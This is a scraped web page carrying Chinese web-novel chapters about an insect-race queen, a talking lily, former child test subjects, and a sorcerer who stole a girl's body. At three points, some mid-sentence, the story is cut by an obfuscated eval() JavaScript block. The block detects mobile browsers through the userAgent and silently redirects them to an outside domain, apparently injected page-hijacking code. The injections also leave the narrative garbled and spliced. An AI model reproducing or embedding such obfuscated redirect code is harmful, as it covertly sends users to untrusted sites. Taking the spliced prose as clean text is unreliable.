;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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避难区在会场的地下,它由一个宽阔的大厅和十二条外观一样的走廊组成,每条走廊上有十二扇一模一样的门,门上面挂了很沉重的锁,在没有钥匙的情况下,成年人都很难打开。 大厅的装潢很童趣,梦幻般的白云悬挂在触手可及的低空中,形状不一的长凳像积木一样摆在角落和墙壁边,葱郁的植物被种在特定的区域中,旁边还有一片早已干涸的池塘。墙纸和放在玻璃桌上的纸牌都已经泛黄,连空气中都弥漫着腐朽陈旧的味道,在她们打开铁门冲进来的那一刻,扑面而来的灰尘让诺贝塔发出了呛咳的声音。 说实话,这里看起来一点也不像避难所,说它是游乐园都更合适,还是已经停止运营很久的那种。 但谁会在拍卖场的地下修一座游乐园?这里看起来也不对外开放啊。 苏珊犹疑地打量了周围一圈,看向诺贝塔:“这是哪?” 诺贝塔还在咳,她咳得撕心裂肺,生不如死,咳得苏珊都有点看不下去了。 “是实验室。”一个人代替她回答。 是鸦。 “不是说去避难所吗?” “实验室就是...咳,最好的避难所。”诺贝塔的手指在墙壁上摸索,啪嗒,白云开始发出柔和的暖光,她的脸庞被暖光浸润,像蒙着一层时光的旧尘。她从轮椅里的暗格里抽出几张湿纸巾,把旁边的桌面擦干净,鸦也走过来,俯身在她对面坐下。 苏珊从诺贝塔怀里探出头,它的花苞转动了一圈,最终精准对上鸦的视线:“看起来像午夜会谈。”它嘀咕一声。 鸦笑了一下,看不出多少真心实意,她的脸色苍白得吓人,像幽魂一样,会被任何一点动静惊动:“也可以这样认为。你应该有很多问题想要问吧?趁现在这个机会,”天花板晃动了一下,是伊索尔德和“雀”打斗的声音,她仰起头看了一会儿,又把目光收回来,接着刚才的话说完,“我可以回答一些问题。” “就当是对委托详情的额外补充。”她这样说。 “得先让这些人安静下来。”诺贝塔轻声说。 她说的是那些跟着她进入避难所的人,他们被伊索尔德的精神力操控了,现在处于半清醒半混沌的状态。 苏珊想了想,点头:“你说得对。” 百合花开始膨胀,深绿色的枝叶纠缠在轮椅的扶手上,又顺着金属游走到了地面上,一直紧闭着的灰白色花苞攀在枝叶的周围和顶端,当它张开花苞时,直径已经扩展到了一米多。 它现在看起来不像百合花了,像一条蛇,修炼成精数千年,能轻易把人类生吞活剥。 苏珊立起身子,慢慢游动到了大厅的正中,它身上盛开的一簇簇百合花像铃铛那样发出轻盈的声响,铃铛声在室内响了三遍,大厅里的每个人都歪歪扭扭地倒在了地上。他们阖上了眼,沉入了梦境之中。 它满意地游回来,又变成很小巧一朵百合花,只不过这次趴在了鸦和诺贝塔之间的桌面上,不准备跟之前一样待在轮椅上。 “现在好了。”它若无其事地说,“我们开始吧。” 鸦收敛好自己脸上的神情,决定不去思考这朵百合花的具体品种,一旁的人偶师没有她这么好的养气功夫,她看起来非常震惊,又不知道该说什么,嘴唇开开合合好几次,最终有些不甘心地闭上了,转而将注意力放在接下来的对话之中。 “你们刚刚说这里是实验室,那么研究目标呢,是什么?” “是幻想种。”鸦垂下眼,“地下城的主人建造了这间实验室,她想要漫长的寿命,但是改造人类自身的基因太过复杂,于是她有了另一个主意。” —— “如果人类注定就是要早死,那么为什么不可以把自己变成幻想种呢?” 伊索尔德带着那团灰白雾气坐在昏迷不醒的女孩边上,听雾气断断续续讲那些还没有被她遗忘的东西,听完“雀”的想法,她沉默半晌,只能给出这么一个评价,非常真心实意:“很有想法。你真是个科研鬼才,你的老师真的辛苦了。我想问一下,在你做这个课题之前是否有跟相关学者进行一些学术上的探讨呢,如果你有这样做过,那你应该很清楚,这是...” 她用了个比较温和的词。 “这是不可能的。” 幻想种和人类之间的差别犹如天堑,这是人类在经过数百数千年前赴后继不间断的研究后得出的结论。不是没有人眼馋过幻想种的寿命,但不管以什么角度、用什么手段,想要从科学的角度解析并复刻都是不可能的,因为支撑幻想种存活如此漫长时间的关键要素并不是所谓的基因又或者异能,而是与生俱来的“灵魂”。 时间会消磨灵魂的厚度,当这厚度被削弱到一定程度,寄居在身体中的生命就会死亡。从数据来看会让这个结论显得更有说服力,普通的动物灵魂厚度在十年到三十年之间波动,人类的灵魂厚度大约在一百到两百年左右,而幻想种,她们的灵魂厚度最少也在五百年以上。 想要获得漫长的寿命,不仅需要健康的身体,还需要能够承担得起时间消磨的灵魂。 而很遗憾,灵魂是不能为任何外力因素所更改的东西,它在每个智慧生命出生那一刻就已经凝固成形,往后不管经历什么,都不会再使它动摇一分一毫。 “雀”做的这个实验从一开始就是不可能的。 “我发现了这一点。”她承认,“所以不得不更换了一个目标。” “比如将自己的意识转移到幻想种的体内,窃据她们的身体和寿命?”伊索尔德自然而然地说出了她接下来的话,“你怎么一次比一次笨。” “......是吗,或许吧。”雾团说,“但这一次我成功了。” —— “我想,你应该有过‘为什么我和诺贝塔对这里这么熟悉’的疑惑。”鸦解开袖口的扣子,把衣袖向上面挽起,露出手臂上铭刻的一串漆黑的字符,在她的对面,诺贝塔也解开了自己的领结,她的编号在脖子下面。 09807。09809。 “我们曾经是实验体。我在这里生活过十五年。诺贝塔短一点,她十岁的时候就离开了。” “可是...”苏珊的目光在她们俩之间游移,“诺贝塔说她是在偏远星系被曾外祖母抚养长大的。” “不完全是。”诺贝塔的眼睫颤动,“我三岁的时候被父母送到这里换取利益,我没有异能,成为实验体比银河集团的三小姐更有价值。曾外祖母在我十岁那年找到了我,她把我带走了。” 苏珊的语气含了一点软软的歉疚:“抱歉。” —— “我花了五百年的时间培养一个能够承载意识的实验体。我放弃研究那些数据了,还是魔法吧,魔法更方便,至少我知道怎么样拿走别人的时间。” “她是你的成品吗?” “不是。”她否认了,“鸦才是那个成功的,但我被她骗过去了。等最终实验开始的时候,已经不能转移了。” “所以你在雀的身体里活了下来。那时候她多大?” “你想为她打抱不平吗?我想想,八岁吧。或者十岁。人类小孩长得都差不多,我不太记得那时候的事情了。” “你记忆力真的很差。” —— “雀,也就是那个女孩,跟我们是同一批实验品。她的编号是09808。” “你记得真清楚。”苏珊说。 鸦的声音低落下去:“那实在是很难忘。我们以前是朋友。”她有点迟疑,“应该能算是朋友吧。” 在死气沉沉的实验室里,只有她们两个具备交流的能力,雀从小性格就很冷淡,她并不怎么在意那些被注射进身体里的针剂,她总在想别的事情,有时候,鸦会觉得她其实并不在这里,而是在一个不管她还是药剂都无法触及的地方。那地方似乎很遥远,鸦至今也没能弄懂她在想什么。她曾经以为雀只是在麻痹自我,但后来发现她只是不在乎。 “她在乎的东西不在这里。”鸦说,“她在乎的那个东西...大概在几十万光年之外的地方吧。可能是父母朋友之类的,小孩子在意的东西就那么多,我也想不到别的可能了。她有时候会笑。” 她凝视着灰百合,又好像在看另外一个人。 “她笑起来的样子跟伊索尔德有些像。” —— “最终实验应该在我与09808之间开始,但那天出了点岔子,我不得不去处理一些事情,因此分心了。想推后也不能,意识转移这东西很讲究时间,只有那一次机会。错过这一次,我还要再等几百年。” “出现了什么意外?” 雾团啧了一声:“09807和09808互换了编号,我没分清。” —— “最终实验那天是我的生日,但研究员不会告诉我们试验进度,所以我一直以为还要很久才能等到结果,说不定这辈子就要老死在实验室里了。那段时间我在偷偷拆实验室的防御系统,我找到一个漏洞,能溜出去十五分钟。我想出去玩,结果研究员告诉我今天要去做实验。那个漏洞的时间很短暂,错过就再也没有了,所以我问雀可不可以代替我去...进行那个测验。” 鸦沉默了。 十五岁那年,她第一次接触到外面的世界,无穷的颜色,无穷的声音,无穷的可能性。好奇心把她短暂地从那个麻木的世界里拖出来,当她满怀欣喜地再回到实验室里时,等待着她的是眼神冰冷而无情的“雀”。 “要是那时候我没有跟她交换就好了。” 她说。 —— “你进入了09808的身体里,”伊索尔德这样总结,“那么又为什么把鸦丢去做城主?我以为你会直接销毁或者重启实验。” “意识转移没有成功也没有失败,我告诉那个小孩,只要她留下来,就在一百年之后离开这具身体,把09808的意识放回来。” 伊索尔德轻柔地笑了:“你可真会骗人。其实是你不能离开鸦吧?” “她答应了。”雾团没理她。 “该说的我都说完了,你还想知道什么?” “我想知道,你真的不记得自己的名字了吗?” 雾团有些不耐烦起来,觉得这只虫族简直就像复读机一样喋喋不休,情绪冲击之下,连死都不是很怕了:“我说了我不记得了。” “记忆是不会消失的。”伊索尔德说,“比如,你有没有看到一片光海?” 无穷无尽的金色光芒从她手中迸发开来,将雾团包裹得密不透风。虫族的精神力在某种意义上近乎无敌,即便是当事者自己都忘却了的东西,也能通过共鸣强制唤醒一些东西。 “你是故意的!”它的声音在光海之中若隐若现,五百年的记忆一朝奔涌,将它彻底淹没了。 “我是好心。”伊索尔德轻巧地把雾团抛向天空,它散开了,一丝一缕地填充着这破破烂烂的会场,金色的光推动它像海浪一样起伏,在那些碰撞的波浪中,有模糊不清的碎片出现。 伊索尔德托着下巴看这幅如日初升的场景,慢慢地笑了。 “只是帮你找回记忆而已。不好吗?这可不是什么残忍的事。” —— “雀”的记忆始于贫民窟,那是个集贫穷、犯罪、暴力于一体的地方,污水横流,垃圾满地,从这里出去的孩子有一半成为了贫民窟阴影的一部分,另外一半则消失得无影无踪。或许是死了,或许是被剖开身体贩卖去了别处,又或者遇上了点微不足道的好运气,侥幸从这里逃走了。 她算是后面那一种,在十二岁那年的初夏,“雀”被一个披着白袍子的人带走了。 白袍是贤者的证明,但这种高端知识不会对下层人民开放,她只是模模糊糊知道穿着这种衣服的人都很厉害,因为他们懂得其他人弄不清楚的东西。那种东西的名字叫魔法。 被带走的第一天,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14881553|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被穿着干净的女仆送进了浴室,等洗干净之后,又被女仆套上一件棉布裙。 女仆把她带到了客厅,白袍子对她说话。 “你愿意成为我的学生吗?” “雀”听到了命运扭转的声音,像客厅里的时钟咔哒、咔哒地响着,她甚至还没有意识到这句话的真正含义,就猛地点头答应了下来。 白袍子温柔地笑了,她的手边放着一根长长的木杖,上面缠满了五颜六色的鲜花,她从那根木杖上得到了一朵花,是紫色的。 一个贫民窟女孩能被贤者亲自收为弟子是一种荣耀,她在跟随白袍——现在应该叫老师了——学习之后很快意识到了这点,为了不被抛弃,她更加努力地去钻研那些深奥的符号与魔法。所幸她的确有着万里挑一的天赋,魔法于她而言不过雨露阳光一般自然,别人要花好几年做到的事情,她只需要一个夜晚。 她在老师的塔里安然成长着,十多年过去,贫民窟在她身上留下的印迹几乎全部消失了,谁都想不到这个前程远大的魔法学徒有着那样一段晦暗的过去,她们称赞她精妙独到的见解,认为她总有一日会接过老师的衣钵,成为下一位贤者。 但那不可能。她自己知道。 她的天赋固然惊人,老师却更胜一筹,老师的手稿她从来只能看懂很小一部分,小时候是这样,长大后亦然。那些她读不懂的数字衡量着时间与世界的奥秘,她心里明白,自己这辈子也做不出比老师更了不起的成就。 她羡慕过,但很快释然了。为一件已经发生了的事情而懊悔没有任何意义,她也做不出什么剥夺他人天赋的罪行,魔法把她养出了一些骄傲,那些骄傲不允许她以卑劣的行径玷污自己在魔法上的修行。她只能更加努力地去研究魔法,期望有一天,至少自己的名字可以跟老师并肩。 或者在老师的名字下面一点也可以,她想,只要之后的人们讲起这段历史时,能让人说出不愧是老师的弟子这种话就可以了。 然而她那时候太年轻,没有意识到魔法文明连存续都已经岌岌可危,魔法摧毁过的东西比它带来的要多得多,它让个人的战力凌驾于国家之上,让魔法成为了武器本身。战争的模式因此改写,各国将魔法使视作战力培养,贤者也不例外。 二十岁那年,史无前例的战争在北方爆发,贤者作为战力被投入战场。 战争的结果她已经不记得了。她只知道老师再也没有回来。 她在其他人来之前收好了老师的手稿,把塔里面的一切资料付之一炬。 贤者的弟子带着她的遗愿逃走了,有人泄露了消息,她因此围剿,因此第一次杀人,六十九个人的血液被她的魔法烤干了。在那燃烧的大火中,她发现自己竟然并不排斥死亡,她一点都不为杀人这件事懊悔,她只懊悔自己为什么这么晚才意识到,或许她才是应该上前线的那个,老师总是太心软,她下不去手夺走他人的生命。 所以老师...... 她的思维到这里中断了,一大段的时间被跳跃过去,在这段时间里,她似乎经历了很多事情,好的坏的都有,但那些东西只在她心里留下了浅浅一道痕迹,很快就随风而逝,什么也没剩下。留在她心里的只剩下了一个念头。 ——我要等老师回来。 为此,必须在这新世界中活下来。 她曾经是人类,但在多次使用了禁术之后,已经连自己都弄不清楚自己究竟是什么。她只知道自己活了很久,但活得越久,遗忘的事情越多,事到如今,她连自己和老师的名字都想不起来了。 能记得的只剩下一个画面。 似乎是一个黄昏,老师即将离开的前一天。自己第一次任性,央求老师不要走,或者至少带自己离开。 【求你了...】 她听到自己的声音。 【不行哦。......你还很小呢。】老师摸了摸她的头。【我们来做个约定吧,我保证自己会活着回来的,你呢,也要好好活着,怎么样?】 【...真的吗?很多人都死了。】 【我可是最强大的魔法使,没道理会输吧?你这个笨蛋弟子就好好等着我回来,然后跟我一起醉死在酒坛里吧!——哈哈,骗你的,你还没成年,不准喝酒哦。我不在也不行。】 于是,“雀”又想起来,老师原来是很喜欢喝酒的,喜欢到塔里面有专门的一层作为酒窖。 奇怪,她怎么好像真的闻到了酒的味道? 虚幻与现实之间的界限被无限模糊,“雀”开始分不清什么是现实,什么是自己的记忆。她呆呆地飘在拍卖场的空气中,嗅到了醇美而丰盈的、美酒的味道。 “那是什么味道?”她迷茫地提问了。 伊索尔德的手搭在地上,她已经看完了“雀”的记忆,也从中找到了自己需要的信息。“雀”已经没有活下去的必要了。 她微微笑着,愉快地回答了“雀”的问题。 “是酒噢。” 神代的法术将拍卖会场横扫一空,储存在暗室中的酒桶也都被打碎,里面的酒液流淌在地上。 “那是倾倒在空中的、葡萄酒的味道。” 伊索尔德的手攥紧了雾团的核心,那是一朵很小的、紫色的花。 核心在伊索尔德的手中变成一堆齑粉,“雀”恍惚听到老师的声音。她垂下头,以一种奇异的视角从上往下望去。 她看到伊索尔德宁静的神情,看到伊索尔德手中那朵紫色的粉末,看到那银发王虫眼睛里的、无尽的漩涡。 【这些年辛苦了,我们去喝酒吧。】 是老师吗? 【怎么不说话?不开心?】 某道身影与伊索尔德重合了,在那只虫族的身上,她看见了老师的笑容。 老师没有说话,她伏在伊索尔德身后,露出一个静谧的微笑。 那笑容里潜藏着死亡,“雀”没有拒绝,静悄悄被自己所最憎恨的时间带走了。 48.眼泪与雪 “雀”的死亡让会场变得静谧,纷纷扬扬的雪花从被打穿的天花板上落下来,象征着寒冷的精灵轻飘飘落在了废墟之上,给目之所及的一切蒙上了雪白的光晕。 伊索尔德咦了一声,伸出手接住了一点下落的雪花。她的体温比普通的雪要低得多,八角形的对称雪花完好无损地待在她手指上,像某种礼物。 她微笑起来。 “下雪了啊......” 窸窸窣窣的声音在伊索尔德身旁响起,真正的雀慢慢睁开了眼。她的眼神比“雀”要清澈得多,童真无邪,如同刚出生的婴孩,又好像春天湖泊边,第一根抽出新芽的树枝。 在“雀”死去后,被她夺走了身体的雀终于醒来了。 她有些迟疑地坐起来,发现自己并不在实验室里。 “这是哪里?” “嗯...应该是实验室的上面。”坐在她旁边的伊索尔德回答,“你终于醒了,我还以为要再等一会儿呢。你现在几岁啦?” “...八岁。”她认真地计算了一遍,然后才有点迟疑地说道。她下意识不想让这个人——好像不是人类?感觉气息不太一样——失望,她的天性在呼唤着她更小心、更忠诚、更努力地靠近她,即便她比自己强大得多,雀仍然无意识地想要保护她。 这个人身上...有一种让她感到安心的东西,这种感觉有点像她小时候看到过的深绿色洪流,那洪流如海浪一般划过第四星系的夜空,把整个世界都渲染得春意盎然。许多光点在背后追逐着那道洪流,它们是绿色布匹上的鲜花,星星点点,缀出隐秘而难以描述的图案。 洪流和鲜花对她有一种莫大的吸引力,雀曾经想成为其中一员,但却失败了,于是只能在之后的日子里凝望着天空,等待它的再一次到来。 现在,洪流似乎再一次到来了,它挨得很近,就在她的身边。 “八岁...跟她说得一样。那你还是个小孩子呢。” 洪流摸了摸她的头。 “等下我就让塔纳斯来带你回去,在外面这么多年辛苦了。” 雀下意识抿出一个乖巧的笑,她的心情一下子变得雀跃起来,像沐浴在草坪上晒太阳,暖洋洋的。 “还好。”她又有点伤心地说,“我可以不回去吗?” 虽然她也不知道这个“回去”的目的地是哪里,但下意识的,她不想离开这个人。 “不可以哦,”洪流有点懒洋洋地说,“你还不是可以在外面乱逛的年纪呢。要等成年了才可以出来玩。” “我成年了。”雀急急忙忙站起来,转着圈地展示自己的样子。她看起来的确是个成年女性的样子,只是脸上的神情过分天真。 洪流笑了:“身体成年又不等于心理成年。你连我的名字都不知道呢。” “我知道。”雀说,她小步挪到那个人面前,跪坐在地上,她小声说,“你是王。” “不是这个,是另外一个名字。”她摇了摇头,帮雀把那些落在头发上的雪拂去了,“我是伊索尔德·阿斯塔。抱歉,我来晚了。” “晚了?”她迟缓地重复了一遍。 “我没想到那家伙真能抓到一只幻想种当实验体,算了,她恐怕自己都不知道,责怪一个死人也没什么意义...”伊索尔德嘟囔了一声,她难得有些真心实意地懊悔,当时做精神迭代的时候应该再细心一点,这样说不定就能提前发现有一只虫族流落在外。 在感到不安的情况下,虫族会本能地催发自己的拟态,使自己与看到的第一个种族外貌相近,以此保护自己不被伤害。雀可能是在人类世界出生的,以至于她一出生就下意识模拟了人类的形态。由于拟态过于完美,周围也没有同族,导致她一直没发现自己的身份。 虽然从迄今为止没一个人发现她真实身份这点就能看出来,她的自我保护确实很成功,甚至可以说成功得有些过分了。 不过雀似乎并不能接入精神网络,她身上属于虫族的特征少得可怜,连伊索尔德都是在“雀”死去后才隐约从她身上感受到了一点属于虫族的波动。她的精神力太微弱了,也没有什么颜色,很难被察觉,也不知道是天生如此,还是因为在人类世界长大,所以才下意识进行了伪装。 还好,作为王的她有一点特权,可以帮雀从那副伪装中脱离。 伊索尔德伸出手指,轻轻点在雀的眉心,属于王虫的精神力波荡开来,帮雀消去了她作为人类的拟态。 雀的眼睛下面开始浮现泛着金属光泽的鳞片,她的头发变成了黑色,瞳孔竖立起来,眼睛里的虹膜一点点褪去琥珀色,回归本来的色彩——是很漂亮的、玻璃球一般的碎蓝色。 伊索尔德笑了一下,有些感慨的:“原来你是一只山兰蝶呀。” 虫族已经很多年没有出现过山兰蝶了,这种蝴蝶外表柔弱美丽,实际上战斗力极强,她们行动迅捷,精通暗杀,一出生就懂得该如何将自己融入空气,消除气息和拟态伪装于她们而言就如同呼吸一样自然。山兰蝶是天生的刺客,既然如此,能在人类世界隐藏那么多年也很正常了。 雀摸了摸自己的脸:“我不是人类吗?” “是虫族哦。”伊索尔德细心为她解释起来,虽然这些常识在她接入精神网络之后都会了解到,但雀的孱弱程度远超她想象,可以预见的是,在回归阿斯塔星之前,雀恐怕都没有办法自主接入精神网络,“虫族都是由母亲所创造的,除了王虫之外的所有虫族都应该在巢穴里一同孵化。我刚刚筛选了一遍近三十年的记录,没有查到丢失情况,所以你可能...嗯,可能是上一只王虫的从属,只是最近才孵化。” 虫族的灵魂先于身体诞生,还在孵化阶段的虫族往往已经初步具备了自我意识,当察觉到外界环境并不适合出生后,本能会让她们自发停止生长过程,并在这个过程中向母巢发送信号,以此呼唤自己的同族。伊索尔德暂时还没弄清楚雀是哪一只前代王虫的从属,她能确定的是,这只虫族是自己的同类。 “说起来,你还有以前的记忆吗?” “实验室...算吗?”雀想了想,发现自己的记忆里只有铺天盖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14895922|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地的白色天花板,和注射进身体里、颜色各异的药剂,“好像有一个比我大一点的人类,但是我不记得她的编号了。” “还有其他的吗?” 雀摇了摇头,半晌,又轻轻点了点头:“我记得我看到过,一道洪流。在宇宙间流淌,把整个世界的颜色都变成了深绿色,还带一点金色。很漂亮。就像...” 就像伊索尔德的眼睛一样。 她顿住了。 “虽然不能主动接入精神网络,但是依然具备基础的精神力吗...”伊索尔德轻轻点头,“情况比我想得要好一点。” “那就太好了。”雀感知到伊索尔德的心情变得好了一点,下意识也高兴了些。 伊索尔德看着她,也笑了一下。 “你可以为自己高兴一下的。” 雀的脸上出现了困惑的表情。这对她来说有点太难了,属于“自己”的东西已经在层出不穷的实验室里被磨走,而多年之后再醒来,她的喜怒哀乐又下意识跟着王虫起伏变化。她在心中小小地抱歉了一下,为自己不能让王开心。 说到底,自己,是什么呢? 伊索尔德看到她的样子就知道雀一时半会还弄不明白这些东西,所幸也不急,慢慢来也可以,等雀去阿斯塔星跟着其他虫族生活一段时间,大概就能得出一个粗糙的答案。 现在可以从最基本的开始。 “我觉得我可以临时充当一下圣诞老人,所以,你有没有什么想要的东西?” “人也行。”伊索尔德想到她的实验室过往,补充了一句。 “圣诞老人是什么?” “一个故事里面的角色,会给天底下所有的小孩子派发礼物。” “我想要...”雀开始思考,“我想要,你抱我一下。” 伊索尔德呆了一下,又笑了。 她侧过身,张开了双手。 雀直愣愣看着她,没想到伊索尔德真的会答应。她其实知道圣诞老人是什么,为了保证最基础的心理健康,实验室偶尔会给她们发一些书籍打发时间,那些书没什么营养,不会让她们知道太多与“外面”有关的东西,只是变着花样给她们洗脑,告诉她们要懂得感恩。人类的世界毕竟还是给她打下了太深的烙印,她以为王从来高高在上而不可侵犯,不会应允这样胡来的要求。 “不抱了吗?”伊索尔德自然地发问。 雀没说话,她扑了过去。 雀比伊索尔德矮一个头,当她扑进伊索尔德怀里时,像一个大只的洋娃娃倒了进去。 伊索尔德其实能躲开,但没有,她很顺从地被扑倒了,一只手搭在雀的后背,一只手搭在地上。 她又摸了摸雀的头,细软的发质,摸起来和上好的绸缎一样顺滑。 有点像小狗。 伊索尔德这样想。 温热绵软的液体和天上的雪一样落在伊索尔德身上,她轻轻叹气,放任雀在她的怀里抽泣。 “已经结束了。”她有一搭没一搭地顺着雀的头发,“我们回家吧。” 49.蜃贝 拥抱持续了五分钟,或者更久,雀的眼泪仿佛无穷无尽,不断地打湿着伊索尔德的衣领。 在实验室里所经受的苦楚,在异国他乡所产生过的迷茫与不安,那些等待时洪流产生过的寂寞...无数复杂的情感都被尽数倾注在这眼泪中,痛痛快快地离开了她的内心。 当她再抬起头来时,那双蓝眼睛仿佛被水洗过一样,睫毛上还挂着湿漉漉的泪珠,像一颗颗将坠未坠的水晶。 雀有点羞赧,声音很小:“对不起...” 把王的衣服弄湿了。 “没关系啦。”伊索尔德从地上坐起来,她伸出手捏住衣领的边沿,轻轻一抖,水分蒸发,转眼间布料又变回了干净清爽的样子。 她又伸出手,擦掉了雀挂在眼睫上的最后一点泪水。 “我们走吧。” 雀没有问要去哪里,她站起来,很自觉地跟在了伊索尔德的身后,神情柔和而顺服,像一尊会呼吸的陶偶。 “好的。”她只是这样说。 —— 伊索尔德带她去了会场地下的实验室,自意识转移完成之后,它已经被封闭了十五年之久,明澈的光倾泻下来,尘埃在其中不知疲倦地飞舞。 里面躺倒了一大片昏迷的人,伊索尔德轻巧地绕开他们,准确无误地走向苏珊她们所在的小桌。 “苏珊。”她叫了一声灰百合的名字,还在听故事的苏珊立刻抬起头来。 “你来啦。”它很惊喜地抛下了鸦和诺贝塔,像以前那样亲昵地缠在了伊索尔德伸出来的手臂上,枝叶首尾相连,像一条蛇,又像一只手镯,“都解决了吗?” “嗯。结束了。” 伊索尔德简单一句话概括完上面的情况,她眼珠微微挪动,又看向鸦和诺贝塔。 鸦看起来完全没听伊索尔德在说什么,她看着伊索尔德身后那个以崭新面貌出现在她面前的人,几乎是立刻就认出来了她的身份。 尽管雀的样子发生了翻天覆地的变化,但在鸦眼中,她的神情和多年前那个抱着膝盖看天空的女孩子一模一样。 那个八岁的孩子被留在了过去,她并没有长大。当她用这个成年人的躯体看待世界时,这一点便尤为明显。灵魂与身体的不对等让她浑身上下都透着一种割裂感,像一个孩子猝不及防被塞进了成年人的壳子里,带着点懵然。 鸦肉眼可见的惊喜:“你醒了吗?”说到一半,她又有点退缩,“你...还好吗?” 雀看了她一眼,眼中流露出显而易见的困惑——她并不记得这个人。 “是她们吗?”伊索尔德侧身去问雀。 雀的目光在两人之间不断逡巡,她有点迟疑:“好像...不是。” 实验室里有太多孩子了,鸦和诺贝塔都跟她隐约记得的那个模糊轮廓对不上号。 “是短头发,喜欢吃冰淇淋,嗯...好像眼睛有点问题?”雀努力地回想,又放弃了,很沮丧。她这十五年来大部分时间都在沉睡,属于自己的记忆都被另一个意识不断模糊,到现在只留下雾里看花的影子,“我一点都想不起来她的名字了。” “但是我还记得她比我大一点。”雀伸出手在自己的腰间比划了一下,“有这么高。” 鸦在一边静静地听着,雀描述得很模糊,但她已经想起那个孩子是谁了。她没有说话,她觉得,雀永远也想不起来才是最好的。 “实验室还有备用数据,里面应该会存储照片和对应编号,”伊索尔德安慰她,“塔纳斯还要一会儿才能过来,我们可以把整个数据库都看一遍。” 雀弯了弯眼:“好。” “什么备用数据?”灰百合的声音插进来,“实验室的备用数据吗,鸦说在实验室最中心的位置,那里被锁起来了,暴力破解的话会爆炸。说起来,”苏珊好奇地往后探出身体,一点点挪到雀的面前,“这是那个吗?” 看起来完全不一样啊...明明刚刚在台上还很阴暗的样子,现在看起来好羞涩。 伊索尔德:“那个术士之前占据了她的身体,她刚刚才醒过来。” “辛苦了。”苏珊油然而生一点同情,它一直觉得那个术士的性格很不妙,光是表面流露出来的不讲理和蛮横就已经很让人难受了,如果还要共处,简直就是酷刑。 雀不知道该怎么回答,她谨慎地保持了沉默。 所幸灰百合也不需要她回答,它只是抒发了一下自己的感慨,顺便满足一下好奇心。 “咦...”苏珊察觉到什么,更努力把自己往雀那边伸,它毕竟在阿斯塔星生活了很多年,跟许多虫族同进同出,能很轻易地辨别出属于虫族的气息。尽管雀的存在感很微弱,它还是隐约感受到了缥缈如云雾般的东西。 “你也是虫族吗?”它问。 “嗯。”雀点了点头,“我也是刚刚才知道的。” “诶...”灰百合这下是真的有些惊讶了,虫族很看重同族,所有的虫族都在阿斯塔星中的巢穴里出生,理论上来说,不会存在在外面独自长大的虫族。像雀这样流落在外的事情,已经有数百年没有发生过了。 一旁的鸦和诺贝塔睁大了眼。 鸦:“什么?这不可能。血样记录里显示雀是人类。” 虫族虽然具有拟态,但是两者的生理构造完全不同,如果雀真的是虫族,那么应该在一开始做身体测试的时候就会检查出异常。 “情况有点复杂。”伊索尔德捏了捏苏珊的叶子,“总之,她是在人类世界出生的,因为拟态太完美,把自己都骗过去了。从这个角度上来说算好事呢,不然还不知道那个术士会做出什么事。” 灰百合短暂从惊讶里挣脱开,对伊索尔德的话表示赞同:“她的确有点丧心病狂了。” 说起来... “你的名字叫雀呀。” “以前是。”她说,“之后可能会换个名字吧。” 雀这个名字承载了太多底色暗沉的记忆,她并不想让自己以后都被这些记忆困住。但是想来想去又有些舍不得,毕竟王来到她面前时,她的名字就是这个。 如果王愿意给自己取个新名字就好了,她出了一会儿神,那样就不用纠结来纠结去的,不管是什么名字,她都会很喜欢的。 灰百合和雀又聊了几句——准确来说,是灰百合提问,雀回答——在这个过程中,雀终于注意到了苏珊身上的异常。 尽管音调和用词都有区别,但在极个别时刻,苏珊的声音会让她想起伊索尔德。 “您的声音跟王一样呢。”雀直白地询问道,“是天生这样的吗?” “伊索尔德把她的声音分享给了我。”苏珊哼哼,“植物没有自己的发声系统嘛,如果我想说话,就只能借用别人的声音。” 雀认真地说:“王非常慷慨。” —— 无人在意的角落里,鸦和诺贝塔双双震惊。 鸦:“什么...居然一样吗?”难怪之前总是会出现一些莫名的既视感,她当时还以为是自己工作太久累出幻觉了。 诺贝塔在对面默默地点了点头:“很正常...其实一开始我也没发现。” 苏珊和伊索尔德的语言习惯差别太大,性格又截然不同,即便极偶尔时刻会给人以相似的感觉,也只会让人怀疑自己,而不会察觉到二者声音相同的真相。 与其说她们迟钝,不如说雀对于伊索尔德相关的东西敏锐得不正常。 这是虫族的本能吗?诺贝塔和鸦情不自禁这样想。 —— 漫天漫地闲聊一会儿之后,伊索尔德啊了一声。 苏珊和雀双双转头,异口同声道:“怎么了?” “混淆术。”伊索尔德有气无力地说,“还有善后处理没做...” 打架一时爽,善后火葬场。伊索尔德粗略算了一下昏迷的人数以及需要输出的混淆术数量,非常希望塔纳斯现在就能瞬移出现在身边,帮她把这项工作做了。塔纳斯的熟练度肯定比她高多了。 “对哦。”苏珊也想起来了,它有点忧虑,“我怕你把他们变成白痴。本来就在被通缉,被发现让人变白痴之后会罪加一等吧。” “只要抓不到就等于没做过。”她狡辩道,“更何况,那都是卡俄斯做的,跟我有什么关系呢?” “还是眼前这个比较麻烦,”伊索尔德沉痛地捂住了自己的脸,声音虚弱,“...他们就不能集体失忆吗?” 